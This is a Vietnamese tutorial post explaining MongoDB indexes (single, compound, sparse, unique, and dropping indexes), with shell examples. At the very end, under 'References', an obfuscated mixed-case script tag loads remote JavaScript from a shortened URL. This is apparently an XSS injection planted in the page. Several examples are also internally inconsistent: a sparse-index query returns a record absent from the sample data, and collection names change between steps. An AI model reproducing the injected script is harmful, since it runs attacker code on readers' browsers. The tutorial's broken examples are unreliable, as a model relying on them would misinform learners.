Giới thiệu về Indexes trong MongoDB

I. Khái niệm về Indexes

  • Chào các bạn! Như những bài viết trước đây mình có mấy bài viết về MongoDB, hôm nay mình lại quay lại chủ đề này để giới thiệu với các bạn 1 khái niệm không còn xa lại gì với những ai đã làm qua về Quản trị cơ sở dữ liệu như: MySQL, SQL Server, DB2... đó là Indexes hay còn gọi là đánh chỉ mục.
  • Index là gì? là một cấu trúc dữ liệu được lưu trữ trên ổ cứng tương ứng với một table hoặc view nhằm mục đích tăng tốc độ việc truy xuất dữ liệu từ table hoặc view đó.
  • Trong bài viết này mình sẽ giới thiệu cách đánh index đối với NoSQL(ở đây là MongoDB). 1.PNG

II. Chỉ mục trong MongoDB

1. Chỉ mục đơn

  • Chỉ mục là một cấu trúc dữ liệu, thu thập thông tin về giá trị của các trường trong các văn bản của một bộ sưu tập. Cấu trúc dữ liệu này được sử dụng trong tối ưu truy vấn MongoDB để xắp sếp nhanh các văn bản trong một bộ sưu tập.

  • Chúng ta có thể khởi tạo chỉ mục bằng cách gọi hàm createIndex() và cung cấp một văn bản với một hoặc nhiều khóa để đánh chỉ mục.

  • Ví dụ đánh chỉ mục cho trường name trong user.

    db.user.createIndex( {name:1} );
  • Hàm createIndex() chỉ khởi tạo chỉ mục nếu nó chưa tồn tại, Để kiểm tra việc tồn tại chỉ mục trên collection user hay chưa, ta có thể sử dụng hàm.
    db.user.getIndexes()
  • Chỉ mục mặc định: Một chỉ mục luôn được tạo ra la _id. Chỉ mục này đặc biệt là không thể bị xóa, chỉ mục _id là duy nhất cho các khóa của nó.
  • Các khóa nhúng: Với MongoDB chúng ta thậm chí có thể đánh chỉ mục trên các khóa bên trong văn bản nhúng.

12.PNG

  • Trong collection user có cấu trúc như:
    {
      _id: ObjectId(...),
      name: "Vo Van Do",
      address: {
            city: "Nam Tu Liem",
            state: "Ha noi"
        },
    }
  • Như vậy ta có thể đánh chỉ mục từ khóa bên trong văn bản bằng câu lệnh sau:
    db.user.createIndex({"address.city": 1})

2. Chỉ mục hỗn hợp các khóa

  • Hình ảnh bên dưới mổ tả cấu trúc chỉ mục hỗn hợp các khóa để các bạn dễ hiểu hơn như thế nào là chỉ mục hỗn hợp các khóa.

2.PNG

  • Bằng các sử dụng phương thức mà MongoDB cung cấp sau các bạn dễ dàng đánh chỉ mục các khóa
    db.collection.createIndex()
    or
    db.coll.createIndex( { <field>: < 1 or -1 > } )
  • Ví dụ bạn đánh chỉ mục hỗn hợp khóa trong bảng user các bạn có thể viết như sau:
    db.user.createIndex( { "name": 1, "address.city": -1 } )
  • Khi khởi tạo một chỉ mục, số đi cùng với khóa là hướng của chỉ mục (index), 1: tăng dần, -1: là giảm dần. Hướng không ảnh hưởng đến truy cập ngẫu nhiên nhưng rất quan trọng nếu bạn đang làm các truy vấn sắp xếp hoặc phân loại trên chỉ mục hỗ hợp.

  • Nếu chúng ta có một chỉ mục hỗn hợp trên nhiều trường, chúng ta có thể sử dụng nó để truy vấn trên các tập hợp con đầu của các trường đó.

  • Ví dụ ta có chỉ mục trên (a, b, c), ta có thể sử dụng nó để truy vấn trên (a), (a, b)(a, b, c).

3. Chỉ mục thưa thớt

  • Chỉ mục thưa thớt là chỉ mục mà chỉ bao gồm các văn bản có trường được đánh chỉ mục(index). Bất kể văn bản nào bị thiếu trường đánh chỉ mục thưa thớt đều không được lưu vào trong chỉ mục.

  • Các chỉ mục thưa thớt vì bị thiếu những văn bản không có giá trị của trường được đánh chỉ mục.

  • Chỉ mục thưa thớt theo định nghĩa là không đầy đủ và hoạt động khác với chỉ mục đầy đủ. Khi sử dụng chỉ mục thưa thớt để sắp xếp một vài văn bản trong bộ sưu tập sẽ không được trả về.

  • Đó là do chỉ những văn bản được đánh chỉ mục mới được trả về.

  • Xét ví dụ sau:

    { "_id" : ObjectId("..."), "userid" : "1" }
    { "_id" : ObjectId("..."), "userid" : "2", "score" : 10 }
    { "_id" : ObjectId("..."), "userid" : "3", "score" : 2 }
  • Chúng ta đánh chỉ mục bằng câu lệnh sau:
    db.user.createIndex( { score: 10 } , { sparse: true } )
  • Và truy vấn kết quả:
    db.scores.find( { score: { $lt: 2 } } )
  • Nhưng kết quả trả về sẽ là:
    { "_id" : ObjectId("..."), "userid" : "abby", "score" : 10 }

Do chúng ta đã đánh chỉ mục với bản ghi này.

4. Chỉ mục duy nhất

  • MongoDB hỗ trợ đánh chỉ mục duy nhất, đảm bảo rằng không có văn bản nào được chèm mà giá trị của khóa được đánh chỉ mục lại trùng với văn bản mà đã tồn tại.

  • Để tạo ra một chỉ mục đảm bảo rằng không có 2 văn bản có cùng giá trị trong trường nameaddress ta thực hiện bằng hàm sau:

    db.things.createIndex({name: 1, address: 1}, {unique: true});
  • Khóa bị thiếu: Khi một văn bản được lưu vào bộ sưu tập việc đánh chỉ mục duy nhất hay bất kì khóa được đánh chỉ mục nào bị thiếu sẽ được chèm vào với giá trị null. Vì vậy không được chèm quá nhiều văn bản bị thiếu cùng một khóa được đánh chỉ mục
    db.user.createIndex({name: 1}, {unique: true});
  • Giá trị lập lại: Chỉ mục duy nhất không cho phép một khóa có giá trị nhân bản, nếu bạn muốn đánh chỉ mục bằng mọi giá, hãy giữ văn bản đầu tiên trong CSDL và xóa tất cả các văn bản có gía trị nhân bản , thêm tuy chọn dropDups
    db.user.createIndex( {name : 1}, {unique : true, dropDups : true} )

5. Xóa chỉ mục (index)

  • Bạn muốn xóa hoặc loại bỏ bất kể chỉ mục nào bạn có thể chạy bằng cấu trúc lệnh sau:
  • Đầu tiên bạn xem mình đã đánh chỉ mục nào getIndexes()
    [
       {  "_id" : 1,
          "key" : { "_id" : 1 },
          "ns" : "user.name",
          "name" : "DoVV"
       },
       {
          "_id" : 1,
          "key" : { "cat" : -1 },
          "ns" : "user.address",
          "name" : "Test"
       }
    ]
  • Tiếp theo xóa chỉ mục muốn xóa, ví dụ xóa chỉ mục "name": "DoVV"
    db.pets.dropIndex( "DoVV" )

III. Tổng kết

  • Vậy là qua bài viết này mình đã giới thiệu với các bạn khái niệm và cách đánh chỉ mục hay indexes trong MongoDB.
  • Tối mong rằng bài viết này sẽ giúp các bạn hiểu thêm phần nào về MongoDB và các bạn sẽ có cái nhìn tổng quát rõ nét hơn mà MongoDB đã mang lại
  • Các bạn có thể dongd gọp ý kiến về bài viết để bài viết hoàn thiện hơn bằng các comment bên dưới.
  • Cảm ơn các bạn đã ghé thăm bài viết này! Thanks so much! (thankyou).

Tài liệu tham khảo:

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>

All Rights Reserved